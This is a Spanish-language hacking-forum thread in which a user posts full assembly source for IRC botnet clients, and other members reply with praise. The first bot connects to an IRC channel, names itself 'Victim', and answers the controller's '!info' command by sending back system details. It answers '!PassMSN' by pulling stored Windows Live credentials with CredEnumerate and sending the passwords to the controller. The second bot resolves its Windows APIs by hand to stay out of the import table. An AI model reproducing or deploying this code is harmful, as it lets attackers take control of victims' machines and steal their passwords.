elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 23:35  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General (Moderador: Littlehorse)
| | |-+  [SRC] Base bot irc
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC] Base bot irc  (Leído 1,783 veces)
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
[SRC] Base bot irc
« en: 17 Junio 2009, 00:51 »

Hola les dejo un bot que estoy haciendo es solo la base con solo 2 comandos, las apis muchas van a tener que agregarselas a la win32ax.inc ya que la mia esta muy modificada y con muchas apis mas que las que trae por defecto :P.

Código
; by
;      y      y   yyy     yyyyyyyyyyyyy
;       y    y   y             y
;        y  y    yyyyyy        y
;         yy          y        y
;         y           y        y
;         y           y        y
;         y     yyyyyyy        y
;Mail:ysk_sft@hotmail.com
;Comandos:
;!info = información del pc
;!PassMSN = Claves del MSN LIVE
Canal equ  '#Miworm123'
IRC equ "irc-hispano.es"
NickMaster equ  'YST'
include 'win32ax.inc'
.code
proc Main
invoke CreateThread , 0, 0,Conectar,IRC,0 , 0
.bucleFin:
invoke Sleep,100
jmp  .bucleFin
leave
ret
endp
proc Conectar,pHost
locals
cWD WSADATA ?
cSocket dd ?
cSin sockaddr_in
Rev dd ?
cNumero dd ?
endl
invoke WSAStartup,200,addr cWD
invoke socket,AF_INET,SOCK_STREAM,0
push eax
pop [cSocket]
stdcall HTONS,6667
mov [cSin.sin_family],2
mov [cSin.sin_port],ax
.Reintentar:
invoke SleepEx,100,FALSE
invoke gethostbyname ,[pHost]
   cmp eax,0
   jne @f
 
   jmp .Reintentar
 
   @@:
       virtual at eax
       .host   hostent
       end     virtual
      mov     eax,[.host.h_addr_list]
       mov     eax,[eax]
       mov     eax,[eax]
mov [cSin.sin_addr],eax
.BucleConectar: ;Bucle para conectarse
 
invoke connect,[cSocket],addr cSin,16
cmp eax, 0xFFFFFFFF
JE .BucleConectar
 
.BucleRecivir: ;Bucle para recivir
stdcall Zerar,dBuffer,4000
invoke recv,[cSocket],dBuffer,4000,0
mov [Rev],eax
cmp [Rev], 0
jng .revisar
 
stdcall cInstr,dBuffer,"Found your hostname"
.if eax <> 0
stdcall Zerar,dBuffer,4000
RDTSC
.if eax < 0
not eax
.endif
invoke wsprintf,dBuffer,cNick,eax
stdcall Len,dBuffer
invoke send,[cSocket],dBuffer,eax,0
stdcall Len,userid
invoke send,[cSocket],userid,eax,0
.endif
stdcall cInstr,dBuffer,"PING :"
.if eax <> 0
mov eax,dBuffer
mov byte[eax+1],"O"
stdcall Len,dBuffer
invoke send,[cSocket],dBuffer,eax,0
.endif
;001
stdcall cInstr,dBuffer,"MODE "
.if eax <> 0
stdcall cInstr,dBuffer,"Victim"
.if eax<> 0
invoke SleepEx,100,0
 
stdcall Len,Join
invoke send,[cSocket],Join,eax,0
.endif
.endif
stdcall cInstr,dBuffer,cDato
.if eax <> 0
stdcall cInstr,dBuffer,"!"
mov byte[eax],0
mov edi,eax
mov eax, dBuffer
inc eax
stdcall comparar,eax,cNickName
mov byte[edi],"!"
.if eax = 0
mov  ebx,dBuffer
inc ebx
stdcall cInstr,ebx,":"
inc eax
mov ebx,eax      ; Comando recibido lo guardamos en ebx
stdcall Zerar,dBuffer2,40000
 .bucle0:
 inc eax
 cmp byte[eax],13
 jne .bucle0
 mov byte[eax],0
 stdcall comparar,ebx,"!PassMSN"
 .if eax = 0
 invoke CreateThread , 0, 0,MSNLIVEGET,[cSocket] ,0 , 0
 jmp .BucleRecivir
 .endif
stdcall comparar,ebx,"!info"
.if eax = 0
call .Info
.Info:
stdcall InfoEnviron,usName,Username,dBuffer2,dBuffer3,[cSocket]
stdcall InfoEnviron,pcName,Computername,dBuffer2,dBuffer3,[cSocket]
invoke strcat,dBuffer2,miName
mov  eax, [FS:0x30]
       mov  eax, [DS:eax+0x10]
       mov  ebx, [DS:eax+0x3C]
       stdcall Len,dBuffer2
       add eax,dBuffer2
      stdcall UniToAscii,eax,ebx
     invoke strcat,dBuffer2,cEspacio
     invoke wsprintf,dBuffer3,cHablarPriv,dBuffer2
stdcall Mandar,[cSocket],dBuffer3
call VaciarBuffers
invoke strcat,dBuffer2,soName
stdcall Len,dBuffer2
add eax,dBuffer2
invoke GetEnvironmentVariable,"OS",eax,MAX_PATH
stdcall cInstr,dBuffer2,"_NT"
.if eax <> 0
stdcall Len,dBuffer2
stdcall Zerar,dBuffer2,eax
         invoke strcat,dBuffer2,soName
         stdcall Len, dBuffer2
         add eax,dBuffer2
 
stdcall LeerRegistro,HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows NT\CurrentVersion","ProductName",eax
.if eax = 1
     invoke strcat,dBuffer2,cEspacio
     invoke wsprintf,dBuffer3,cHablarPriv,dBuffer2
      stdcall Mandar,[cSocket],dBuffer3
.endif
.else
     invoke strcat,dBuffer2,cEspacio
     invoke wsprintf,dBuffer3,cHablarPriv,dBuffer2
      stdcall Mandar,[cSocket],dBuffer3
.endif
call VaciarBuffers
invoke GetEnvironmentVariable,"USERDOMAIN",dBuffer2,MAX_PATH
invoke gethostbyname ,dBuffer2
       virtual at eax
       .host3   hostent
       end     virtual
      mov     eax,[.host3.h_addr_list]
       mov     eax,[eax]
       mov     eax,[eax]
          invoke inet_ntoa,eax
          mov edi,eax
       stdcall Len,dBuffer2
 
          stdcall Zerar,dBuffer2 ,eax
                   invoke strcat,dBuffer2,ipAddr
                       invoke strcat,dBuffer2,edi
          invoke strcat,dBuffer2,cEspacio
              invoke wsprintf,dBuffer3,cHablarPriv,dBuffer2
stdcall Mandar,[cSocket],dBuffer3
call VaciarBuffers
    invoke wsprintf,dBuffer3,cHablarPriv,uName
     stdcall Mandar,[cSocket],dBuffer3
    call VaciarBuffers
    invoke GetLogicalDriveStrings,MAX_PATH,dBuffer2
    mov ebx,dBuffer2
   .bucleSacaUnidades:
   cmp byte[ebx],0
   je .salirbsu
   stdcall Len,dBuffer
   stdcall Zerar,dBuffer,eax
   invoke strcat,dBuffer ,"[+]"
 invoke lstrcat ,dBuffer , ebx
 invoke GetDriveType,ebx
 .if eax = DRIVE_REMOVABLE
   invoke strcat,dBuffer ,"(REMOVABLE)"
   .endif
   invoke wsprintf,dBuffer3,cHablarPriv,dBuffer
   stdcall Mandar,[cSocket],dBuffer3
   add ebx,4
   jmp .bucleSacaUnidades
   .salirbsu:
    call VaciarBuffers
jmp .BucleRecivir
ret
.finInfo:
.endif
 
 
 
 
 
 
 
 
 
 
.endif
.endif
 
.revisar:
cmp [Rev], 0
jne .BucleRecivir
 
.reiniciar:
stdcall dword[closesocket],[cSocket]
stdcall dword[WSACleanup]
jmp Conectar
ret
endp
proc MSNLIVEGET,hSock
locals
lCount dd ?
lCred dd ?
cBufferx rb MAX_PATH
cBufferx2 rb MAX_PATH
endl
invoke CredEnumerate,cred, 0, addr lCount,addr lCred
stdcall Zerar,addr cBufferx,MAX_PATH
stdcall Zerar,addr cBufferx2,MAX_PATH
.if     [lCount] = 0
   invoke wsprintf,addr cBufferx,cHablarPriv,"No se encontro ninguna cuenta."
   invoke strcat,addr cBufferx,cEspacio
   stdcall Mandar,[hSock],addr cBufferx
   .endif
   mov ebx,[lCred]
   .BucleSacarCuentas:
   cmp [lCount],0
   je .salirbsc
   stdcall Zerar,addr cBufferx2,MAX_PATH
    stdcall Zerar,addr cBufferx,MAX_PATH
   mov edi,dword[ebx]
   add dword[edi+8],17
   invoke strcat,addr cBufferx2,"[+]Cuenta: "
   invoke strcat,addr cBufferx2, dword[edi+8]
   invoke wsprintf,addr cBufferx,cHablarPriv,addr cBufferx2
   invoke strcat,addr cBufferx,cEspacio
   stdcall Mandar,[hSock],addr cBufferx
    stdcall Zerar,addr cBufferx2,MAX_PATH
     stdcall Zerar,addr cBufferx,MAX_PATH
   .if dword[edi+28] <> 0
stdcall Zerar,addr cBufferx2,MAX_PATH
 stdcall Zerar,addr cBufferx,MAX_PATH
     invoke strcat,addr cBufferx2,"[+]Password: "
     mov eax,13
   lea edx,[cBufferx2]
     add eax,edx
stdcall UniToAscii,eax, dword[edi+28]
invoke wsprintf,addr cBufferx,cHablarPriv,addr cBufferx2
invoke strcat,addr cBufferx,cEspacio
stdcall Mandar,[hSock],addr cBufferx
      .else
        invoke wsprintf,addr cBufferx,cHablarPriv,"[+]Password: ---"
 
   invoke strcat,addr cBufferx,cEspacio
   stdcall Mandar,[hSock],addr cBufferx
   .endif
   dec  [lCount]
   add ebx,4
jmp .BucleSacarCuentas
   .salirbsc:
    invoke CredFree,[lCred]
invoke ExitThread,0
ret
cred db 'WindowsLive:name=*',0
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*3
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif
 
lea ebx,[temp]
invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif
mov eax,1
.salir:
ret
endp
VaciarBuffers:
.if byte[dBuffer2] <> 0
      stdcall Len,dBuffer2
       stdcall Zerar,dBuffer2 ,eax
 .endif
         .if byte[dBuffer3] <> 0
               stdcall Len,dBuffer3
 
          stdcall Zerar,dBuffer3 ,eax
          .endif
          ret
proc Mandar,hSock,cDato
                    stdcall Len, [cDato]
     invoke send,[hSock] ,[cDato],eax,0
ret
endp
proc InfoEnviron,cCadena,cVariable,cBuffer1,cBuffer2,hsock
invoke strcat, [cBuffer1],[cCadena]
stdcall Len,[cBuffer1]
add eax,[cBuffer1]
invoke GetEnvironmentVariable,[cVariable],eax,32
invoke strcat,[cBuffer1],cEspacio
invoke wsprintf,[cBuffer2],cHablarPriv,[cBuffer1]
stdcall Mandar,[hsock],[cBuffer2]
call VaciarBuffers
ret
endp
proc HTONS,PUERTO:WORD ;Función igual a la api HTONS
push ecx
   MOVZX EAX,[PUERTO]
      XOR ECX,ECX
 
      MOV CH,AL
 SHR EAX,8
  OR ECX,EAX
   MOV AX,CX
 
      pop ecx
ret
endp
proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
;//c1 = Cadena                                                                                   //
;//c2 = Cadena que se buscara en c1                                                             //
;// Retorna:                                                                                   //
;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
;// apuntandoa la posicion de c1 donde se encontro c2                                        //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc cInstr,c1,c2
push edi esi ebx ecx  edx
stdcall Len,[c2]
mov edi,eax
stdcall Len,[c1]
mov esi,eax
cmp edi,esi
jg .Falso
mov edx,[c1]
mov ebx,[c2]
dec edx
inc esi
.bucle:
dec esi
inc edx
mov cl,byte[edx+edi]
mov byte[edx+edi],0
stdcall comparar,edx,[c2]
mov byte[edx+edi],cl
.if eax = 0
mov eax,edx
jmp .salir
.endif
cmp esi,0
jne .bucle
.Falso:
mov eax,FALSE
.salir:
pop edx ecx ebx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
proc UniToAscii, ascii, unicode  ;Función que pasa unicode a ascii
push eax
push esi
push edi
mov edi,[unicode]
mov esi,[ascii]
dec esi
sub edi,2
.bucle_:
inc esi
add edi,2
mov al,byte[edi]
mov byte[esi],al
cmp word[edi],00
jne .bucle_
pop edi
pop esi
pop eax
ret
endp
 
.data
 
cNickName db NickMaster,0
cHablarPriv db 'PRIVMSG ',NickMaster," :%s",13,10 ,0
cDato db 'PRIVMSG ',Canal,' :',0
cHablar db 'PRIVMSG ',Canal,' : %s',13,10,0
Join db 'Join ',Canal,'',13,10,0
userid db 'user ident <Apellido1> <Apellido2> <Nombre>',13,10,0
cNick db 'Nick Victim%x',13,10,0
cEspacio db 13,10,0
;!Info
soName db 'Sistema Operativo: ',0
ipAddr db 'IP: ',0
pcName db 'Nombre del PC: ',0
usName db 'Nombre del usuario: ',0
miName db 'Localisación del BOT: ',0
uName db 'Unidades: ',0
Computername db 'COMPUTERNAME',0
Username db 'USERNAME',0
 
;buffers
dBuffer rb  4000
dBuffer2 rb 20000 ;Estos dos los uso como uno
dBuffer3 rb 20000 ;
.end Main
section '.reloc' fixups data discardable


« Última modificación: 17 Junio 2009, 00:54 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Amerikano|Cls


Desconectado Desconectado

Mensajes: 783


[Beyond This Life]


Ver Perfil WWW
Re: [SRC] Base bot irc
« Respuesta #1 en: 18 Junio 2009, 23:43 »

Estas hecho una maquina, gracias!!!  :xD


En línea





Mi blog:
http://amerikanocls.blogspot.com
Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: [SRC] Base bot irc
« Respuesta #2 en: 18 Junio 2009, 23:56 »

Pense que nadie tendria el valor de hacerlo en ASM, un aplauso :aplaudir:

Desde leugo, lo tuyo ya noe s ciencia, es arte :P

Sigue asi!
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: [SRC] Base bot irc
« Respuesta #3 en: 19 Junio 2009, 04:19 »

Me alagan  ;D
Hice la base de otro bot IRC ( aunque mas completo el primero ) , pero esta segunda es mas ordenada , lo que hace esta version es copiar exactamente lo que dice el nick maestro ( el que controla la bottnet ) y lo re dice el bot.

Código
;link asm.obj  /entry:Main /subsystem:windows
Canal equ 'Canal'
IRC equ 'irc.cl'
NicKMaster equ 'YST'
format MS COFF  ;Definimos el formato
include 'win32ax.inc'        ;Incluimos la libreria
section '.text' code readable executable ;Declaramos la sección
public  Main         as      '_Main'     ;Declaramos la función para luego usarla de Entry Poin
proc Main ;Inicio
;Caragamos todas las librerias
stdcall fCargarLibreria,vWSOCK32    ;Cargamos la libreria wsock32.dll para luego utilizarla
stdcall fCargarLibreria,vUser32   ;Cargamos la libreria user32.dll para luego utilizarla
 
stdcall fLlamaApi,vKernel32,vCreateThread
stdcall eax, 0, 0,cConexión,IRC ,0 , 0    ;Nos conectamos al IRC
 
.Fin:     ;Bucle infinito para dejar a los hilos hacer su traqbajo
stdcall fLlamaApi,vKernel32,vSleep ;dormimos 1 segundo
stdcall eax,1000
jmp .Fin
 
leave
ret
endp
 
proc cConexión,pIRC
locals    ;Declaramos las variables locales
lWD WSADATA ?
lSocket dd ?
lSin sockaddr_in
endl
 
stdcall fLlamaApi,vWSOCK32,vWSAStartup
stdcall eax,200,addr lWD
 
stdcall fLlamaApi,vWSOCK32,vsocket
stdcall eax,AF_INET,SOCK_STREAM,0               ;Creamos el socket
push eax
pop [lSocket] ; Guardamos el socket en lSocket
 
stdcall HTONS,6667 ; 6667 = Puerto del IRC
 
mov [lSin.sin_family],2
mov [lSin.sin_port],ax ;Guardamos el puerto
.Bucle:
stdcall fLlamaApi,vWSOCK32,vgethostbyname
stdcall eax,[pIRC]
.if eax = 0    ;Si ocurrio un error
stdcall fLlamaApi,vKernel32,vSleep ;dormimos 1 segundo
stdcall eax,1000
jmp .Bucle ;lo intentamos de nuevo
.endif
 
virtual at eax
.host   hostent
end     virtual
mov     eax,[.host.h_addr_list]
mov     eax,[eax]
 
push dword[eax]
pop [lSin.sin_addr] ;Guardamos la direccion.
 
.BucleConectar: ;Bucle para conectarse
stdcall fLlamaApi,vWSOCK32,vconnect
stdcall eax,[lSocket],addr lSin,16 ;Nos intentamos conectar
cmp eax,-1         ;Si hay error
JE .BucleConectar  ;lo intentamos de nuevo
 
stdcall fLlamaApi,vKernel32,vCreateThread
stdcall eax, 0, 0,fRecivido,[lSocket] ,0 , 0    ;Llamamos a la función que prosesa los datos recividos
.exit:
stdcall fLlamaApi,vKernel32,vExitThread
stdcall eax,0 ; Cerramos el hilo
ret
endp
;=================================================
;= Descripción: Función que procesa los datos    =
;=              recividos.                     =
;=================================================
proc fRecivido,pSocketHandle
locals
lDatos rb 1024h
endl
 
.Recivida:
stdcall Zerar,addr lDatos,1024h    ;Vaciamos lDatos
stdcall fLlamaApi,vWSOCK32,vrecv
stdcall eax,[pSocketHandle],addr lDatos,1024h,0 ;Recivimos datos
cmp eax,0                              ;En el caso de error
je .Reiniciar
 
lea ebx,[lDatos];Ponemos ern ebx los datos
stdcall  cInstr,ebx,vPriv ;revisamos que no lo este mandando ningún user.
.if eax = 0
 stdcall  cInstr,ebx,vMOTD
.if eax <> 0
stdcall Len,vJoin  ;Medimos el largo
push eax
pop ebx      ;Guardamos el largo en ebx
 
stdcall fLlamaApi,vWSOCK32,vsend
stdcall eax,[pSocketHandle],vJoin,ebx,0 ;y lo mandamos
jmp .Recivida
.endif
 
 
.if dword[ebx] = "PING" ; Si nos mandan un PING
mov byte[ebx+1] ,"O" ; Lo transformamos a PONG
 
stdcall Len,ebx  ;Medimos el largo del PONG
push eax
pop ebx      ;Guardamos el largo en ebx
 
stdcall fLlamaApi,vWSOCK32,vsend
stdcall eax,[pSocketHandle],addr lDatos,ebx,0 ;y lo mandamos
jmp .Recivida
.endif
 
 
stdcall  cInstr,ebx,vyour_hostname ; Y tambien se encuentra la cadena yourhostname
.if eax <> 0
stdcall fLlamaApi,vKernel32,vCreateThread
stdcall eax, 0, 0,fRecivido,[pSocketHandle] ,0 , 0    ;Llamamos a la función que prosesa los datos recividos
RDTSC
push eax
pop ebx
stdcall Zerar,vBufferNick,60 ; Vaciamos vBufferNick
stdcall fLlamaApi,vUser32,vwsprintf
stdcall eax,vBufferNick,vNick,ebx
stdcall Len,vBufferNick  ;Medimos el largo
push eax
pop ebx      ;Guardamos el largo en ebx
stdcall fLlamaApi,vWSOCK32,vsend
stdcall eax,[pSocketHandle],vBufferNick,ebx,0 ;y lo mandamos
 
stdcall Len,vUser ;Medimos el largo
push eax
pop ebx      ;Guardamos el largo en ebx
 
stdcall fLlamaApi,vWSOCK32,vsend
stdcall eax,[pSocketHandle],vUser,ebx,0 ;y lo mandamos
stdcall fLlamaApi,vKernel32,vExitThread
stdcall eax,0
.endif
 
.else
stdcall  cInstr,ebx,"!"
.if eax <> 0
mov byte[eax],0
inc ebx
stdcall comparar,ebx,NicKMaster
.if eax = 0
stdcall Len,ebx
mov byte[eax+ebx],"!"
stdcall  cInstr,ebx,":"
mov ebx,eax
inc ebx
stdcall Zerar,vBufferH,1040 ; Vaciamos vHablar
stdcall fLlamaApi,vUser32,vwsprintf
stdcall eax,vBufferH,vHablar,ebx
 
stdcall Len,vBufferH  ;Medimos el largo
push eax
pop ebx      ;Guardamos el largo en ebx
stdcall fLlamaApi,vWSOCK32,vsend
stdcall eax,[pSocketHandle],vBufferH,ebx,0 ;y lo mandamos
.endif
.endif
.endif
jmp .Recivida
.Reiniciar:
stdcall fLlamaApi,vWSOCK32,vclosesocket   ;Cerramos el socket
stdcall eax,[pSocketHandle]
stdcall fLlamaApi,vWSOCK32,vWSACleanup
stdcall eax
stdcall fLlamaApi,vKernel32,vCreateThread
stdcall eax, 0, 0,cConexión,IRC ,0 , 0    ;Nos Reconectamos al IRC
stdcall fLlamaApi,vKernel32,vExitThread
stdcall eax,0 ; Cerramos el hilo
 
 
endp
 
;======================================================
;= Descripción: Funcion que mide una cadena ASCII     =
;=              de terminación nula.                  =
;======================================================
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
;=================================================
;= Descripción: Función igual a la api HTONS     =
;=                                               =
;=================================================
proc HTONS,PUERTO:WORD
push ecx
MOVZX EAX,[PUERTO]
XOR ECX,ECX
MOV CH,AL
SHR EAX,8
OR ECX,EAX
MOV AX,CX
pop ecx
ret
endp
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que llena de 0 una posicion .                                             //
;//Puntero = Posicion a llenar de 0 .                                                            //
;//Cantidad  = Cantidad de 0 .                                                                  //
;// Retorna:                                                                                   //
;// Retorna nada.                                                                             //
;//                                                                                          //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que obtiene la direccion de una api.                                       //
;//pNameLib = Nombre de la libreria  en unicode                                                  //
;//pNameFunc = Nombre de la funcion a llamar en ascii.                                          //
;// Retorna:                                                                                   //
;// Retorna la posicio del api.                                                               //
;//                                                                                          //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc fLlamaApi,pNameLib,pNameFunc
push ebx
stdcall fGetModuleHandleW,[pNameLib];Obtenemos el handle de la libreria
push eax          ;Guardamos el handle de la libreria
stdcall fGetModuleHandleW,vKernel32
stdcall GetAddressFunction,eax,vGetProcAddress     ;Obtenemos la posicion de GetProcAddress
mov ebx,eax
pop eax        ; Sacamos el handle de la libreria
stdcall ebx,eax,[pNameFunc]
pop ebx
ret
endp
;//////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que carga mediante LoadLibraryW una libreria                             //
;//cName  = Nombre de la libreria  en unicode                                                   //
;// Retorna:                                                                                   //
;// No retorna nada.                                                                          //
;//                                                                                          //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc fCargarLibreria,pLib
pushad ;Guardamos todos los registros
 
stdcall fGetModuleHandleW,vKernel32 ; Encontramos el handle de la kernel32.dll
stdcall GetAddressFunction,eax,vLoadLibraryW ;Sacamos la posición de LoadLibraryW
stdcall eax,[pLib] ; Cargamos la libreria
popad ;Restauramos todos los registros
ret  ;Volvemos al EIP guardado antes del call
endp
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que simula GetModuleHandleW                                               //
;//cName  = Nombre del archivo que se le quiere encontrar el Handle , si este parametro es 0     //
;//         se toma como si se piudiera el handle de nuestro exe.                               //
;// Retorna:                                                                                   //
;// Si se encuentra retorna el handle en eax.                                                 //
;//                                                                                          //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc fGetModuleHandleW,cName
push ebx edi esi
.if [cName] = 0
mov eax,dword [fs:18h]
mov eax,dword [eax+30h]
mov eax,dword [eax+8h]
jmp .salir
.endif
mov eax,[fs:30h]
mov eax,[eax+0Ch]
mov edi,[eax+10h]
mov esi,dword[edi+30h]
.siguiente:
mov ebx,dword[edi+30h]
stdcall compararW,[cName],ebx
.if eax <> 0
mov edi,[edi+4h]
cmp esi,dword[edi+30h]
jne  .siguiente
jmp .salir
.endif
mov eax,dword[edi+18h]
jmp .salir
.error:
xor eax,eax
.salir:
pop edi ebx
ret
endp
 
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
;//c1 = Cadena                                                                                   //
;//c2 = Cadena que se buscara en c1                                                             //
;// Retorna:                                                                                   //
;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
;// apuntandoa la posicion de c1 donde se encontro c2                                        //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc cInstr,c1,c2
push edi esi ebx ecx  edx
stdcall Len,[c2]
mov edi,eax
stdcall Len,[c1]
mov esi,eax
cmp edi,esi
jg .Falso
mov edx,[c1]
mov ebx,[c2]
dec edx
inc esi
.bucle:
dec esi
inc edx
mov cl,byte[edx+edi]
mov byte[edx+edi],0
stdcall comparar,edx,[c2]
mov byte[edx+edi],cl
.if eax = 0
mov eax,edx
jmp .salir
.endif
cmp esi,0
jne .bucle
.Falso:
mov eax,FALSE
.salir:
pop edx ecx ebx esi edi
ret
endp
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción:  Funcion que compara 2 cadenas en ASCII                                           //
;//SRC = Cadena1                                                                                 //
;//DST = Cadena a comparar con la primera cadena                                                //
;// Retorna:                                                                                   //
;// Si la cadena es igual retorna 0 en eax                                                    //
;//                                                                                          //
;//                                                                                         //
;////////////////////////////////////////////////////////////////////////////////////////////
proc comparar ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción:  Funcion que compara 2 cadenas en Unicode.                                        //
;//SRC = Cadena1                                                                                 //
;//DST = Cadena a comparar con la primera cadena                                                //
;// Retorna:                                                                                   //
;// Si la cadena es igual retorna 0 en eax                                                    //
;//                                                                                          //
;//                                                                                         //
;////////////////////////////////////////////////////////////////////////////////////////////
proc compararW ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov ax,0000
repnz scasw
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz .Next
dec eax
.Next:
pop esi ecx edi
ret
endp
;Función que simula GetProcAddress
; LibHandle = Handle otorgado por GetModulehandle o LoadLibrary.
; Api = Nombre de la función .
;  By YST
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción:  Función que simula GetProcAddress.                                               //
;//LibHandle = Handle otorgado por GetModulehandle o LoadLibrary.                                //
;//                                                                                             //
;// Retorna:                                                                                   //
;// La dirección de la api.                                                                   //
;//                                                                                          //
;//                                                                                         //
;////////////////////////////////////////////////////////////////////////////////////////////
proc GetAddressFunction,LibHandle,Api
locals
AddressOfNames dd ?
AddressOfFunctions dd ?
endl
push ebx edx edi ecx esi
mov eax,[LibHandle]
cmp eax,NULL
je .Error
mov ebx, dword[eax + 03Ch]
add ebx,eax
cmp word[ebx],"PE"
jne .Error
mov esi,dword[ebx+078h]
mov ebx,esi
add ebx,eax
push dword[ebx+20h]
pop [AddressOfNames]
add [AddressOfNames] ,eax
mov ecx,dword[ebx+018h]
xor edi,edi
add eax ,esi
push dword[eax+1ch]
pop [AddressOfFunctions]
sub eax,esi
add [AddressOfFunctions] ,eax
.encontrar:
dec ecx
mov eax,edi
rol eax,2
add eax,[AddressOfNames]
mov eax, dword[eax]
add eax, [LibHandle]
inc edi
stdcall comparar, [Api], eax
cmp ecx,NULL
je .Error
cmp eax, 0
jne .encontrar
dec edi
rol edi,2
mov eax,edi
add eax, [AddressOfFunctions]
mov eax, dword[eax]
add eax,[LibHandle]
pop esi ecx edi edx ebx
ret
.Error:
xor eax,eax ; xor eax,eax = NULL
pop esi ecx edi edx ebx
ret
endp
;*******************************************************************************************************************************************
;*******************************************************************************************************************************************
;*******************************************************************************************************************************************
section '.data' data readable writeable ;sección donde estaran las variables globales
;Librerias en Unicode
vKernel32 du 'kernel32.dll',0
vWSOCK32 du 'wsock32.dll',0
vUser32 du 'User32.dll',0
;*******************************************************************************************************************************************
;Funciones de las librerias
 
;kernel32.dll
vLoadLibraryW db 'LoadLibraryW',0
vGetProcAddress db 'GetProcAddress',0
vSleep db 'Sleep',0
vCreateThread db 'CreateThread',0
vExitThread db 'ExitThread',0
vlstrcat db 'lstrcat',0
 
;WSOCK32.dll
vWSAStartup  db 'WSAStartup',0
vsocket db 'socket',0
vgethostbyname db 'gethostbyname',0
vconnect db 'connect',0
vrecv db 'recv',0
vclosesocket db 'closesocket',0
vWSACleanup db 'WSACleanup',0
vsend db 'send',0
 
;User32.dll
vwsprintf db 'wsprintfA',0
 
 
;*******************************************************************************************************************************************
;Cadenas Para el protocolo IRC
vHablar db 'PRIVMSG #',Canal,' : %s',0
vBufferH rb 1040
vPriv db 'PRIV',0
vyour_hostname db 'Found your hostname',0
vMOTD db 'End of /MOTD command.',0
vNick db 'Nick Victima%x',13,10,0
vUser db 'user ident <Apellido1> <Apellido2> <Nombre>',13,10,0
vJoin db 'Join #',Canal,13,10,0
vBufferNick rb 60
;*******************************************************************************************************************************************
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Amerikano|Cls


Desconectado Desconectado

Mensajes: 783


[Beyond This Life]


Ver Perfil WWW
Re: [SRC] Base bot irc
« Respuesta #4 en: 19 Junio 2009, 04:28 »

Magistral  ;-) ;-) ;-) ;-) ;-)
En línea





Mi blog:
http://amerikanocls.blogspot.com
Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: [SRC] Base bot irc
« Respuesta #5 en: 19 Junio 2009, 09:16 »

Deberia estar en un muse, hasta usas threads, pense que ASM no podia llegar a tanto :'(

